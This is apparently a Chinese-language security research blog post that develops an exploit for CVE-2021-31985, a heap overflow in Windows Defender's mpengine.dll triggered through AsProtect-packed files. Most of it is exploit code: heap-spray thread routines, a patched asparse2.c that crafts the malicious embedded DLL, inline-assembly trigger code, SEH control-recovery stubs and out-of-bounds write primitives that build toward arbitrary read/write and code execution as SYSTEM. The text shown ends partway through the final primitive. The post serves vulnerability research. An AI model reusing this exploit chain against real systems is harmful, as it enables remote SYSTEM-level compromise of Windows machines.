概述
在 2021 年 6 月的安全更新中,Microsoft 修补了 Windows Defender mpengine.dll中的堆缓冲区溢出漏洞,编号为 CVE-2021-31985。该漏洞由谷歌零项目 (GP0) 发现,并于 2021 年 5 月 25 日报告。
Windows Defender 防病毒软件通过在其虚拟机 Defender Emulator 中模拟打包的二进制文件来扫描它们,并在检测到某些签名时接管解包。其中之一是AsProtect。要执行AsProtect加壳程序字节码,它必须重建由这个“外部”加壳二进制文件提供的嵌入式 VM DLL。相对虚拟地址 (RVA) 部分缺乏清理会导致 memcpy 式堆溢出,且数据、大小和偏移量可控。这些原语可能导致以NT Authority\SYSTEM权限执行远程代码。
在这篇博文中,我们首先回顾了原始 GP0 问题跟踪器 [ 1 ]中对该漏洞的根本原因分析。接下来,我们将根据 CVE-2021-1647 的野外 (ITW) 样本讨论如何利用 CVE-2021-31985。最后,我们以关于从mpengine.dll 1.1.18100开始的对象布局更改如何破坏此处使用的利用技术的临别评论结束这篇博文。
假定读者熟悉 Windows Defender 模拟器的内部结构。此外,此演示文稿[ 2 ] 和工具[ 3 ] 都是极好的资源。
此漏洞是在 Windows Defender mpengine.dll 1.1.16400.2上开发的,这是Windows x64 20H2 (19042.508) 上的默认符号化版本。
漏洞
从最初的 GP0 问题跟踪器[ 1 ] 来看,易受攻击的函数在CEmbededDLLDumper::GenerateDLL(). 在此函数中,嵌入式 VM DLL 从第一个参数重建CEmbededDLLDumper *dll_dumper,它是指向要复制的节描述符、头信息和节原始流的指针。简而言之,该函数执行以下操作序列:
为整个 PE 映像分配内存
复制嵌入在mpengine.dll中的固定 PE 标头
初始化NtHdr->OptionalHeader中的各个字段
创建节标题条目
将切片原始数据复制到 PE 图像
调用VirtualFileWrapper::Write()以将此构造的 VM DLL 转储到仿真器虚拟文件系统 (VFS)
该漏洞存在于图像缓冲区中的 RVA 偏移量用于计算memcpy_s_0()调用的目标地址而无需检查。
在 [ 1 ] 中,最后一段 RVA 被设置0x41414141为触发立即 OOBW。然而,由于图像缓冲区是用户提供的,因此部分的数量、大小、部分的 RVA 和部分原始数据都是可控的。这为我们提供了一个很好的 write-what-where 原语用于开发。
根据 [ 1 ] 中的附件,触发漏洞很简单。文件asprotect-v1.23RC1-unmodified-sample.bin是由AsProtect-v1.23RC1打包的良性二进制文件。文件asparse.c将嵌入式 VM DLL 中最后一段的 RVA 修补为0x41414141. 文件asprotect-patched-segment-rva.bin触发该漏洞。
在asparse.c中,以下行用于指示嵌入式 VM DLL 的偏移量和大小:
static unsigned kEmbeddedDllSize = 0x11c1e;
static unsigned kEmbeddedDllOffset = 0x42ce9;
static unsigned kNewRva = 0x41414141;
在 offset 处kEmbeddedDllOffset,8 个字节用于计算 RC4 密钥及其 MD5 哈希值。然后kEmbeddedDllSize使用此密钥对原始数据流的字节进行 RC4 解密。在这个 RC4 解密的数据流中,VM DLL 信息可以位于 offset 处0x9401,在 4 字节签名之后AF B8 7A 2E。在仿真期间,此签名在运行时计算以定位 VM DLL 的开始。简而言之,从 offset 开始0x9401 - 0x4 = 0x93FD,相应的嵌入式 VM DLL 将如下所示:
AF B8 7A 2E // Signature for VM DLL
50 7C 00 00 // Image Data Size 0x7C50
00 00 00 00 00 00 00 00 //
98 40 00 00 // EntryPoint
00 00 40 00 // Image Base 0x400000
00 D0 00 00 // Image Virtual Size 0xD000
00 B0 00 00 // .data section RVA
00 A0 00 00 // .idata section RVA (IAT)
00 10 00 00 // .text section RVA
00 34 00 00 // .text section Virtual Size
FF 25 E4 A0 40 00 8B C0 ... // .text section raw data
签名之后AF B8 7A 2E是 0x20 字节的 DLL 字段,用于CEmbededDLLDumper::DumpEmbededDLL()解析和检查。然后该函数循环处理图像数据字节的每个部分的(sect_rva, sect_size, raw_data_stream)数据元组。0x7C50
因此,为了最小化我们的 POC 代码,我们将部分的数量限制为该.text部分,更改所有相应的相关字节(例如:部分 RVA、部分大小、图像大小等)并修改kNewRva变量。
开发
CVE-2021-31985 的利用大纲基于 CVE-2021-1647 中使用的技术,因为它们有相似之处。在我们对 CVE-2021-1647 ITW 样本 [ 4 ] ( SampleITW_1647 ) 的研究中,来自 ThreatBook[ 5 ] 和 GP0[ 6 ] 的公开分析为我们提供了重要的见解,以帮助我们了解其利用工作原理,尤其是“原始引导程序”。强烈建议读者阅读这些内容。关键点如下:
使用NtControlChannel()获取mpengine.dll版本。
使用SuspendThread()和ResumeThread()来执行堆喷射和操纵内存布局。
触发堆溢出以覆盖lfind_switch_payload具有硬编码值的对象0x2F9B和0x2F9C(又名OOBW1)。
值0x2F9B和0x2F9C稍后用作索引以对结构中大小字段的 2 个字节lfind_switch::switch_in()执行操作。这会将原始值更改为(又名OOBW2)。由于这个大小字段跟踪表中的虚拟映射页,这实际上允许我们通过索引数组进行任意读/写。OR 0x3VMM_context_t0xC0x3030CEmuVaddrNode
使用模拟执行和 Defender VM JIT 执行代码。
在我们的开发过程中,我们发现并引用了另一个有用的 CVE-2021-1647 公开样本 [ 7 ] ( SamplePUB_1647 )。为了缩短开发时间,我们决定尽可能多地重用它的人工制品。
下面讨论开发策略。在本节中,POC.exe指的是我们自己构建的 CVE-2021-31985。
一、准备工作
POC.exe会将dump.exe(来自SamplePUB_1647 )放到Emulator VFS 中,其中已经内置了一个 stage-2 二进制文件。因此在这个阶段,我们用我们自定义的stage2.exe替换这个原始的嵌入式二进制文件0xA894通过分别在偏移量和处覆盖其大小和内容0xA8A0。
接下来,由于POC.exe将创建 dump.exe 的多个实例,因此还会为进程同步创建一个全局事件。
#include "dump_exe.h"
#include "stage2.h"
int wmain() {
HANDLE hEvent;
SECURITY_ATTRIBUTES securityAttributes;
// ...
// replace stage2 embedded in dump.exe, max 0x10000 bytes
*(DWORD*)&dump_exe[0xA894] = stage2_exe_len;
memset(&dump_exe[0xA8A0], 0, 0x2064);
for (i = 0; i < (int)stage2_exe_len; i ++)
dump_exe[0xA8A0 + i] = stage2_exe[i] ^ 0xDE;
drop_file(L"dump.exe", dump_exe, dump_exe_len);
securityAttributes.nLength = 12;
securityAttributes.lpSecurityDescriptor = 0;
securityAttributes.bInheritHandle = 1; // dump.exe inherits hEvent
hEvent = CreateEventW(&securityAttributes, 0, 0, 0);
// ...
}
2. 堆喷射
在此步骤中,POC.exe将创建 2 个 dump.exe 实例,参数分别为 1 和 3。这些将依次创建更多的dump.exe实例,参数为 2.1、2.3 和 2.1。这些实例的目的是分别用 250 个lfind_switch对象喷射内存并等待全局事件。最后,这些对象中的 25% 被释放出来,为后续(第 6 步)任意OOBW2创建“漏洞” 。
堆喷射是通过 、 和 函数调用的CreateThread()组合ResumeThread()完成的SuspendThread()。TerminateThread()喷射对象在 中分配lfind_switch::switch_out(),并在 中重用lfind_switch::switch_in()。相关函数是:
void NTDLL_DLL_NtCreateThreadWorker(struct pe_vars_t *pe_vars);
void NTDLL_DLL_NtResumeThreadWorker(struct pe_vars_t *pe_vars);
void NTDLL_DLL_NtSuspendThreadWorker(struct pe_vars_t *pe_vars);
void NTDLL_DLL_NtTerminateThreadWorker(struct pe_vars_t *pe_vars);
这些函数lfind_switch通过以下示例调用堆栈与类对象相关。
NTDLL_DLL_NtSuspendThreadWorker(struct pe_vars_t *a1) // or ResumeThread()
-> adjustSuspensionThreadWorker(pe_vars, 1, -1) // -1, 0 for ResumeThread()
-> ThreadManager::performThreadSwitchToThread()
-> pe_switch_CTX_ForThread()
-> pe_switch_CTX_base()
-> lfind_switch::switch_out() // or ::switch_init() or ::switch_in()
被喷物体,lfind_switch_payload,被lfind_switch物体指向。我们猜测此对象用于存储与当前线程上下文相关的(中间)状态。
在lfind_switch::init()由 调用的 中NtCreateThreadWorker(),我们观察到该lfind_switch_payload对象分配了 0x100 字节。在SamplePUB_1647和POC.exe中,我们使用以下序列重新分配此喷射对象大小并将其从 0x100 字节增加到 0x2000 字节:
// POC.exe spray code, dump.exe has a similar sequence
for ( i = 0; i <= 249; ++i ) // CREATE_SUSPENDED = 4
threadPool[i] = CreateThread(0, 0, SprayRoutine, 0, 4, &dwThreadId);
for ( i = 0; i <= 249; ++i )
ResumeThread(threadPool[i]); // Halt by the 1st SuspendThread()
for ( i = 0; i <= 249; ++i )
ResumeThread(threadPool[i]); // Halt by the 2nd SuspendThread()
for ( i = 0; i <= 249; ++i )
ResumeThread(threadPool[i]); // Halt by the 3rd SuspendThread()
接下来,我们将线程例程设置SprayRoutine()为如下定义:
DWORD __stdcall SprayRoutine(LPVOID lpThreadParameter) {
SuspendThread(GetCurrentThread());
SuspendThread(GetCurrentThread());
SuspendThread(GetCurrentThread());
}
在第三次SuspendThread(),lfind_switch::switch_out()将被调用,随后,lfind_switch_payload对象将被重新分配到 0x2000 字节,大概是为了存储上下文切换之前的线程状态。重复SuspendThread()调用是有意强制存储更多的中间状态。我们的逆转表明这与 相关BBinfo_LF::get_loop_info()。删除或添加任意数量的SuspendThread()将影响对象重新分配的大小。
3.AsProtect触发器的构建
虽然原始的asprotect-patched-segment-rva.bin触发了AsProtect错误,但它分配了一个 0xD000 字节的 PE 图像缓冲区。但是,如果我们要重用 CVE-2021-1647 的技术,我们必须修改此 blob,以便它分配一个 0x2000 字节的 PE 图像缓冲区。因此,我们修改asparse2.c如下:
// asparse2.c: modifications to the original asparse.c
// additions, at offsets right after sig_x 0x9401 in seg->buf
static unsigned kOffsetSigX = 0x9401; // offset after AF B8 7A 2E in RC4 stream
static unsigned kNewDataSize = 0x1024; // was 0x7c50, 0x3423 for .text, now reduced
static unsigned kNewImgSize = 0x2000; // was 0xd000 => lfind_switch_obj size
static unsigned kNewSect0Size = 0x1000 - 0x10; // was 0x3400 => memcpy_s OOBW1 size
static unsigned kNewSect0RVA = 0x2000 + 0x10; // was 0x1000 => OOBW1 offset
static unsigned kNewSect4RVA = 0x0; // was 0xb000 => to pass checks
static unsigned kNewIAT_RVA = 0x0040; // was 0xa000 => control content if needed
static unsigned kNewEntPoint = 0x009C; // was 0x4098 => in image, semi-controlled
uint8_t sect0_buf[0x1000] = { 0 };
int main(int argc, char **argv)
{
// ...
uint16_t OOB_Idx2 = 0;
// ...
// The first 8 bytes need to be hashed to generate the RC4 key.
// 01 00 00 00 26 1c 01 00 (size 0x011c26 - 8) untouched
MD5(seg->key, sizeof seg->key, md);
// ... after decrypting the RC4 encrypted embedded file ..
// offsets: 0 DataSize, 0xC EntryPoint RVA, 0x14 ImgSize, 0x18 B000,
// 0x1C A000, 0x20 .sect0 RVA 1000, 0x24 .sect0 Size 3400
//memcpy(&seg->buf[0x10e49], &kNewRva, sizeof kNewRva);
memcpy(&seg->buf[kOffsetSigX + 0], &kNewDataSize, sizeof kNewDataSize);
memcpy(&seg->buf[kOffsetSigX + 0xC], &kNewEntPoint, sizeof kNewEntPoint);
memcpy(&seg->buf[kOffsetSigX + 0x14], &kNewImgSize, sizeof kNewImgSize);
memcpy(&seg->buf[kOffsetSigX + 0x18], &kNewSect4RVA, sizeof kNewSect4RVA);
memcpy(&seg->buf[kOffsetSigX + 0x1C], &kNewIAT_RVA, sizeof kNewIAT_RVA);
memcpy(&seg->buf[kOffsetSigX + 0x20], &kNewSect0RVA, sizeof kNewSect0RVA);
memcpy(&seg->buf[kOffsetSigX + 0x24], &kNewSect0Size, sizeof kNewSect0Size);
OOB_Idx2 = 0x2F9A; // version > 15999
memset(sect0_buf, '\xff', sizeof(sect0_buf) - 0x10);
*(uint16_t *)§0_buf[0x10 + 0x30 - 0x10] = 8;
*(uint16_t *)§0_buf[0x10 + 0x42 - 0x10] = 2;
*(uint16_t *)§0_buf[0x10 + 0x58 - 0x10] = OOB_Idx2 + 1; // 0x2f9b for 16000
*(uint16_t *)§0_buf[0x10 + 0x5A - 0x10] = OOB_Idx2 + 2; // 0x2f9c for 16000
memcpy(&seg->buf[kOffsetSigX + 0x28], sect0_buf, sizeof(sect0_buf));
// ... encrypting the modified embedded file ..
}
与SamplePUB_1647类似,我们将上述AsProtect打包二进制文件的 0x63000 字节部分(偏移量为 0x560000)覆盖为精心制作的嵌入式 VM DLL 以触发错误,分配 0x2000 字节图像缓冲区,并为 OOB1 设置覆盖数据。我们还将基本块 (BBL) 标识0x5BF04D为AsProtect签名 BBL,类似于 SamplePUB_1647 中相应0x426000的BBL。听起来很简单,之前没有使用过 Windows Defender 的经验,学习通过跟踪调试它kvscan4sig()是“有趣的”:) 不管怎样,显示了到达解压的AsProtect签名 BBL 的相关断点:
0:000:x86> bu 402000; g // go to entry point
0:000:x86> bu 56025b; g // go to the relevant decrypt loop
Breakpoint 1 hit
trigger+0x16025b:
0056025b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000:x86> bc
0:000:x86> ba r1 5bf04d; g // the signature block is unpacked
Breakpoint 1 hit
trigger+0x16025b:
0056025b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000:x86> bc; p // finish the unpacking of sig BBL
0:000:x86> bu 5bf04d; g // break on hitting the sig BBL
0:000:x86> g
Breakpoint 1 hit
trigger+0x1bf04d:
005bf04d bb44294400 mov ebx,offset trigger+0x42944 (00442944)
0:000:x86> r
eax=00000001 ebx=005aa650 ecx=bea80000 edx=00000000 esi=001c0000 edi=0058c000
eip=005bf04d esp=007cff1c ebp=0017c6bc iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
trigger+0x1bf04d:
005bf04d bb44294400 mov ebx,offset trigger+0x42944 (00442944)
0:000:x86> dd esp // important values on the stack
007cff1c 0058c000 001c0000 005600ff 007cff3c
007cff2c 005aa650 00000000 bea80000 00000001
007cff3c 005aa650 0058c000 00000001 00000000
007cff4c 00000000 00560517 00402000 00402000
0:000:x86> u 5bf04d
trigger+0x1bf04d:
005bf04d bb44294400 mov ebx,offset trigger+0x42944 (00442944)
005bf052 03dd add ebx,ebp
005bf054 2b9d71294400 sub ebx,dword ptr trigger+0x42971 (00442971)[ebp]
005bf05a 83bdd830440000 cmp dword ptr trigger+0x430d8 (004430d8)[ebp],0
005bf061 899d2f2e4400 mov dword ptr trigger+0x42e2f (00442e2f)[ebp],ebx
005bf067 0f853e050000 jne trigger+0x1bf5ab (005bf5ab)
005bf06d 8d85e0304400 lea eax,trigger+0x430e0 (004430e0)[ebp]
005bf073 50 push eax
此时,RC4 加密的 VM DLL 已加载到内存中,并且AsProtect签名 BBL 已解包并准备好执行以解包、解密并将 VM DLL 转储到 VFS 上,如下一节所述。
4.执行AsProtect解包
如下所示,触发 CVE-2021-31985 的函数在调用堆栈中比 CVE-2021-1647 更深。
AsProtect signature BBL trigger:
kvscanpage4sig(buf_426000 / buf_5bf04d)
=> UnpackerContext::Unpack(Unpack *)
=> AsprotectIsMine()
=> CAsProtectDLLAndVersion::RetrieveVersionInfoAndCreateObjects() // CVE-2021-1647
=> CAsprotectUnpacker::Unpack(Unpacker)
=> CAsprotectUnpacker::ReBuild(CAsprotectV2Unpacker* Unpacker)
=> CAsprotectUnpacker::ReBuild_Basic(CAsprotectUnpacker* Unpacker)
=> CAsprotectUnpacker::GetEncryptedData(Unpacker)
=> CAsprotectUnpacker::InitAndDecryptSignatureData(Unpacker)
=> CAsprotectUnpacker::InitSignatures(Unpacker)
=> CAsprotectV2Unpacker::GetFeaturedSignature(Unpacker)
=> CAsprotectV2Unpacker::GetSignatureForSignatureTable(Unpacker)
=> CAsprotectUnpacker::SearchSignature(Unpacker)
=> CAsprotectV2Unpacker::BuildSignatureTable(Unpacker)
=> CAsprotectV2Unpacker::DumpEmbededDLL(Unpacker)
=> functions handling RebuiltIAT_OEP, Imports, ObfuscatedFunctions, etc
=> CAsprotectV2Unpacker::GenerateSimulator(Unpacker)
=> CEmbededDLLDumper::DumpEmbededDLL(), dumps VM DLL //CVE-2021-31985
这也意味着触发 CVE-2021-31985 需要执行解包以满足额外的检查和约束。特别感兴趣的是位于堆栈顶部的 0x40 字节用户控制内容AsProtectIsMine()。虽然我们只是在不了解其语义的情况下简单地从正常执行中重用此堆栈内容,但我们确实遇到了一个从堆栈Unpacker中读入的对象。DWORD 0x00560517这实际上是一个地址,其中包含引导程序定位 VM DLL 流及其节表的信息。例如,在 中ReBuild_Basic(),被调用者将从ReadPackedFile()中获取图像库并使用它来计算 VM DLL 流地址。0x4000000x560517
接下来,(子)调用树CAsprotectUnpacker::InitSignatures()构建一个包含不同签名(in BuildSignatureTable())的签名表,sig_x = 0x2E7AB8AF稍后将使用其中的签名。
最后CAsprotectV2Unpacker::DumpEmbededDLL(),签名sig_x与索引一起用于0x8E在解密的 VM DLL 流中定位节表,读取数据流大小并实例化CEmbededDLLDumper *dll_dumper要作为参数传递给易受攻击函数的对象CEmbededDLLDumper::GenerateDLL()。
完整的 0x40 字节堆栈值集如下所示。
#include "sect_560.h"
unsigned char *save_ebp, *save_esp;
unsigned char *_sect_560000 = NULL;
DWORD stack_0x40[] = {
0x058c000, 0x01c0000, 0x05600ff, 0x07cff3c, // IAT 0x40 version
0x05aa650, 0x0000000, 0xbea80000, 0x0000001, // 0x9C version
0x05aa650, 0x058c000, 0x0000001, 0x0000000,
0x0000000, 0x0560517, 0x0402000, 0x0402000
};
int main() {
// ...
_sect_560000 = VirtualAlloc((LPVOID)0x560000, 0x63000, 0x3000, 0x40);
if (_sect_560000 != (unsigned char*) 0x560000)
return 0;
memcpy(_sect_560000, _sect_560, _sect_560_len);
memset(_sect_560000 + 0xa3c, 0, 0xc93 - 0xa3c);
// ...
__asm{
push ecx
sub esp, 0x40
mov save_esp, esp
mov save_ebp, ebp
};
memcpy(save_esp, stack_0x40, 0x40);
__asm{
mov ebp, 0x17c6bc
mov esp, save_esp
mov ecx, _sect_560000
add ecx, 0x5f04d // buf_trigger = _sect_560000 + 0x5f04d;
jmp ecx // ((void (*)(void))buf_trigger)();
mov esp, save_esp
mov ebp, save_ebp
add esp, 0x40
pop ecx
};
}
5.AsProtect Trigger的延续
在上一步中,我们成功触发了AsProtect签名BBL,从PE空间迁移到原生空间函数中的漏洞代码CEmbededDLLDumper::DumpEmbededDLL()。触发完成后,另一半的问题是回到PE空间,所以POC.exe继续执行以完成剩下的步骤。这取决于以下几点:
完成OOBW1CEmbededDLLDumper::DumpEmbededDLL()后,它调用将嵌入式 VM DLL 转储到 VFS 上,并使仿真器开始扫描这个已删除的文件。对于精心制作的 VM DLL,此扫描会危及dump.exe进程同步。我们尝试设置各种模拟器选项(包括)以禁用扫描但无济于事。幸运的是,我们能够通过不将 VM DLL 完全写入 VFS 来避免触发扫描。这是可能的,因为在OOBW1之后,仿真器在之前调用。由于我们控制 VM DLL IAT 部分,我们可能会导致失败,因此不会调用,VM DLL 不会写入 VFS,也不会触发扫描。VirtualFileWrapper::Write()MpSetAttributes("pea_disable_dropper_rescan")GetImportDescSize()VirtualFileWrapper::Write()GetImportDescSize()VirtualFileWrapper::Write()
通过重用SamplePUB_1647中的 SEH 技巧(即:故意导致 BBL 仿真错误,以便 PE 空间仿真重新获得控制权),将执行从本机mpengine.dll BBL 重定向回POC.exe的 PE 空间仿真。在示例中,首先设置了 SEH 机制。然后,在AsProtect签名 BBL之后,BBL立即触发对(PE 空间)SEH 的调用并导致执行继续。同样,在我们的AsProtect签名 BBL之后,我们调用和。0x4260000x42655EMpSetAttributes("pea_uses_invalid_opcodes")0x5BF04DMpSetAttributes("pea_uses_access_violation")MpSetAttributes("pea_dynmem_uses_access_violation")
回顾一下,我们现在已经构建了在模拟器中触发AsProtect解包的POC.exe --> 成功执行并用OOBW1覆盖--> 故意避免触发文件扫描 --> 完成AsProtect签名 BBL 解包 --> 故意导致访问冲突继续在自定义 SEH 机制中执行回到. 同样在SamplePUB_1647中,自定义 SEH 设置为:POC.exe
iX_SaveCtx(): 将 6 个寄存器保存到 aTargetFrame并将 SEH 处理程序安装到FS:[0].
iX_LoadCtx(): 恢复上下文。
iX_seh_handler(): 恢复控制并通过设置返回值来报告其模式,EAX当上下文从中恢复时iX_SaveCtx()。
__declspec(naked) int iX_SaveCtx(TargetFrame *TF)
{
__asm {
pop edx // ret
pop eax // TF
mov [eax+0x0C], esi
mov [eax+0x10], edi
mov [eax+0x14], ebx
mov [eax+0x18], edx // TF[6] = ret
mov [eax+0x1C], ebp
mov [eax+0x20], esp
mov ecx, fs:0 // setup SEH
mov [eax], ecx
mov fs:0, eax
lea ecx, iX_seh_handler
mov [eax+4], ecx
push eax
push eax
call mark_target_frame
add esp, 4
pop eax
mov edx, [eax+0x18]
xor eax, eax
jmp edx
};
}
__declspec(naked) void iX_LoadCtx(TargetFrame *TF, DWORD ret)
{
__asm {
add esp, 4
pop ebx
pop eax
mov esi, [ebx+0xC]
mov edi, [ebx+0x10]
mov ecx, [ebx+0x14]
mov edx, [ebx+0x18]
mov ebp, [ebx+0x1C]
mov esp, [ebx+0x20]
mov ebx, ecx
jmp edx
};
}
int iX_seh_handler(char *a1, TargetFrame *TF, char *a3, char *a4)
{
DWORD dw_TF16;
DWORD bit0_TF15 = TF->dw15 & 1;
if (bit0_TF15 || TF->mark != 0xDEADBEEF)
return 1;
if (TF->dw15 & 2)
dw_TF16 = TF->dw16;
if (dw_TF16 >= 0) {
if (!dw_TF16)
return 1;
RtlUnwind(TF, (PVOID)0x401103, 0, 0); // to replace 0x40A516
iX_LoadCtx(TF, 2); // iX_SaveCtx() returns 2
}
return 0;
}
6.OOBW2
至此,我们修改了 CVE-2021-31985 使其具有与 CVE-2021-1647 类似的“利用流程”,因此我们现在也可以为OOBW2.
如前所述,为堆喷射创建了许多dump.exe实例。特别是,"dump.exe" 1并且"dump.exe" 3仅用于喷射 250 个lfind_switch_payload对象,因为每个仿真器进程最多限制为 250 个线程。但是"dump.exe" 2有不同的流程;它有两遍:在第一遍中,它也喷射了 250 个物体,但也创建了 55 个孔以为AsProtect触发器做准备。
// "dump.exe" 2 creating holes in its first pass
for ( idx = 0; idx <= 217; idx += 4 )
{
// pick these threads to resume so they terminate naturally
ResumeThread_B1001075(*(HANDLE *)(4 * idx - 0x4EFD9260));
*(_DWORD *)(4 * idx - 0x4EFD9260) = 0; // Remove the freed threads
}
在第 2 遍中,OOBW1将已经发生。在OOBW1lfind_switch_payload中为 0x2000 字节图像缓冲区回收的孔之后的对象在AsProtect触发器中被精心设计的索引(和)覆盖。被覆盖的对象属于实例。因此,恢复其关联线程将导致被调用并使用损坏的状态(和索引)。0x2F9B0x2F9C"dump.exe" 2lfind_switch::switch_in()
// "dump.exe" 2 triggering OOBW2 in its second pass
for ( idx = 0; idx <= 249; ++idx )
{
// this loop will clear the extra SuspendThread to call switch_in()
if ( *(_DWORD *)(4 * idx - 0x4EFD9260) )
ResumeThread_B1001075(*(HANDLE *)(4 * idx - 0x4EFD9260));
}
然后ResumeThread()调用switch_in(),它利用两个索引写入越界0x03的两个字节,将 DWORD 从更改0xC为0x03030C。此值描述索引数组中的条目数,用于搜索将 PE 空间地址 (x86) 映射到本机mpengine.dll地址 (x64)EmuNodeIndex_list[]的页表条目。因此,将其修改为较大的值可以进一步操作页表,从而导致OOBW3。0x03030C
char lfind_switch::switch_in(lfind_switch *lfind_switch_obj, struct BBinfo_LF *pBBinfo_LF)
{
lfind_switch_payload = *(_QWORD *)lfind_switch_obj;
// ...
// restore thread "context" from lfind_switch_payload, use 0x0008
*((_WORD *)pBBinfo_LF + 0x172) = *(_WORD *)(lfind_switch_payload + 0x30);
// to copy 0x0002 * 2 = 0x0004 bytes for the two indices
v15 = 2 * *(unsigned __int16 *)(lfind_switch_payload + 0x42);
if (v15) {
memcpy_s_0(
**((void *const **)pBBinfo_LF + 0x5D), // dst for copied indices
v15, // copy 4 bytes
// src for indices: 9b 2f 9c 2f
(const void *const)(v12 + *(_QWORD *)lfind_switch_obj + 0x48i64),
v15);
for ( indices_base = *((_QWORD *)pBBinfo_LF + 0x14);
(unsigned int)i_1 < *(_DWORD *)(bb_obj_5D + 0x78);
*(_BYTE *)(idx_A + *(_QWORD *)(bb_obj_5D + 0x90)) |= 3u )// OOBW2
{
i_2 = (unsigned int)i_1;
i_1 = (unsigned int)(i_1 + 1);
// fetch from the indices array (copied previously above)
idx_A = *(unsigned __int16 *)(*(_QWORD *)bb_obj_5D + 2 * i_2);
*(_WORD *)(indices_base + 2 * idx_A) |= 0x100u;
}
}
}
我们在这里注意到,虽然索引0x2F9B和0x2F9C对于mpengine.dll 1.1.16000 到 1.1.16400有效,但在mpengine.dll 1.1.18100 中要修改0xC为0x03030C(即:OOBW2)的相应索引是和。0x30710x3072
7.OOBW3
如 [ 6 ] 所述,SampleITW_1647包含一系列链接在一起的 OOBW 原语,用于“原语引导”。我们将最后一组原语OOBW3统称为原语,尽管它们实际上是在构建任意 R/W 和代码执行。与OOBW2部分类似,OOBW3是通过重用dump.exe实现的,特别是"dump.exe" 2. 我们对OOBW3的理解极大地受益于 [ 5 ] 简洁准确的提示。
相关按键功能如下:
char PEVAMap::Reserve(PEVAMap *this, QWORD lpAddr, QWORD lpAddrEnd, DWORD flProtect, DWORD a5);
char PEVAMap::Commit(PEVAMap *this, QWORD lpAddr, QWORD lpAddrEnd, DWORD flProtect);
QWORD VMM_context_t>::insert_new_page(VMM_x32_context *vmm_x32_ctx, int dwEmuPageNum, DWORD flEmuProtect);
每个进程都有一个vmm_x32_ctx跟踪内存相关状态和对象的对象。相关领域是:
// 1: kd> dq 000002471a9ed4b8+e*8 l1
// 00000247`1a9ed528 00000247`1a9f61f0
vmm_x32_ctx->EmuVaddrNode_list; // QWORD 0xE, list of EmuVaddrNode objects
// 1: kd> dq 000002471a9ed4b8+10*8 l1
// 00000247`1a9ed538 00000247`1a9f40a0
// 1: kd> dw 00000247`1a9f40a0
// 00000247`1a9f40a0 0000 0001 0032 0052 0053 005a 0068 008b
// 00000247`1a9f40b0 0090 0091 00a3 00a4 00a3 00a4 00a3 00a4
// 00000247`1a9f40c0 00a3 00a4 00a3 00a4 00a3 00a4 00a3 00a4
vmm_x32_ctx->EmuNodeIndex_list;// QWORD 0x10, list of indices to nodes above
vmm_x32_ctx->EmuNodeIndex_size;// DWORD 0x644, now 0x3030C, size of index list
一个 0x18 字节的对象EmuVaddrNode用于描述 PE 空间地址到本机 Emulator 地址之间的页面映射。例如,在 的开头"dump.exe" 2,位于 0x70000000 的工作缓冲区被分配为:buf_ptr = pfVirtualAlloc(0x70000000, 0x20000, 0x3000, PAGE_READWRITE); 这里的页码是并且在节点列表中0x70000有一个索引。0x32结果对象可以从节点数组中找到,如下所示:
// after alloc 0x20000 at [0x70000000,0x70020000), index 0x32 (end 0x52):
// 1: kd> dc 00000247`1a9f61f0+18*32 l6
// 00000247`1a9f66a0 1aa41180 00000247 00070000 0000803f
// 00000247`1a9f66b0 0444801b 0000ffff
struct EmuVaddrNode {
PVOID Vaddr = 0x2471aa41180;
DWORD EmuPageNum = 0x70000;
DWORD EmuProtect = 0x803F;
// ... other 0x8 bytes
}
索引数组EmuNodeIndex_list[]提供了一种快速操作EmuVaddrNode对象条目的方法。由 提供新的内存分配insert_new_page(),它使用快速搜索算法在 中找到合适的枢轴点EmuVaddrNodeIndex_list[],插入页面索引,可能移动或更改相邻索引,插入或修改EmuVaddrNode_list[]数组中的节点,最后更新索引数组的当前数量条目,vmm_x32_ctx->EmuNodeIndex_size.
在 的第 2 遍开始时"dump.exe" 2,索引列表的大小被覆盖为0x3030C。这使攻击者能够在虚拟扩展的非常大的索引数组上“操作”。实际上此时,索引对[0x0, 0x1)是针对页0x40000和[0x32, 0x52),两个本机Vaddr值相差(0x32 - 0x0) << 12 = 0x32000字节。并且可以观察到以下常量偏移:
vmm_x32_ctx->EmuVaddrNode_list - vmm_x32_ctx->EmuNodeIndex_list = 0x2150;
EmuVaddrNode_idx0.Vaddr - vmm_x32_ctx->EmuNodeIndex_list = 0x1B0E0;
EmuVaddrNode_idx0.Vaddr - vmm_x32_ctx->EmuVaddrNode_list = 0x18F90;
因此,页面的地址0x700000是EmuVaddrNode_idx32.Vaddr字节0x1B0E0 + 0x32000 = 0x4D0E0远离EmuNodeIndex_list[],并且可以从大小为 的损坏(WORD 大小)索引数组访问0x3030C。在第 2 遍中"dump.exe" 2,将0x20000at 的字节0x70000000用作工作缓冲区来构造假索引和假EmuVaddrNode对象以实现OOBW3。
集体OOBW3由 5 个较小的步骤OP1到OP5组成,然后是构建fakeEmuVaddrNode对象以实现任意 R/W 和代码执行的最后一步。每个OP_*步骤都是在工作缓冲区中制作假索引的精细序列,调用一个或多个insert_new_page()来操作状态制作的索引数组,并实现一些以前意想不到的功能。构造的核心OP_*是函数get_pivot_B1009CE0(int numEntries_0x303xx, int bUpdatePivot),它根据值计算工作缓冲区中的当前枢轴位置,numEntries从OP10x3030C到OP5。由于使用快速搜索算法对索引数组进行操作,0x30316insert_new_page()get_pivot()通过算法在各种条件下的数学表征简明地实现。
步骤OP1到OP2EmuVaddrNode将页面对象泄漏0xFFD00到工作缓冲区中0x70001000。这进一步用于导出Vaddr索引 0x0, leaked_idx0_base, 为后续步骤建立 PE 空间地址和本机空间地址之间的映射。简化的伪代码如下:
===========
// 1: kd> dw 000002471aa41180+13536-10 l10
// 00000247`1aa546a6 0001 0001 0001 0001 0001 0001 0091 00a3
// 00000247`1aa546b6 00a4 0001 0001 0001 0001 0001 0001 0001
// [+] PEVAMap::Reserve(lpAddr fb010000, lpEnd fb020000, flProt 4)
buf_ptr = pfVirtualAlloc(0xFB010000, 0x10000, 0x2000, PAGE_READWRITE);
// OP1.1: COMMIT 0xFB010: [a0,a1) inserted at pivot[-1,0]
buf_ptr = pfVirtualAlloc(0xFB010000, 0x1000, 0x1000, PAGE_READWRITE);
// 1: kd> dw 000002471aa41180+13536-10 l10
// 00000247`1aa546a6 0001 0001 0001 0001 0001 0001 0091 00a0
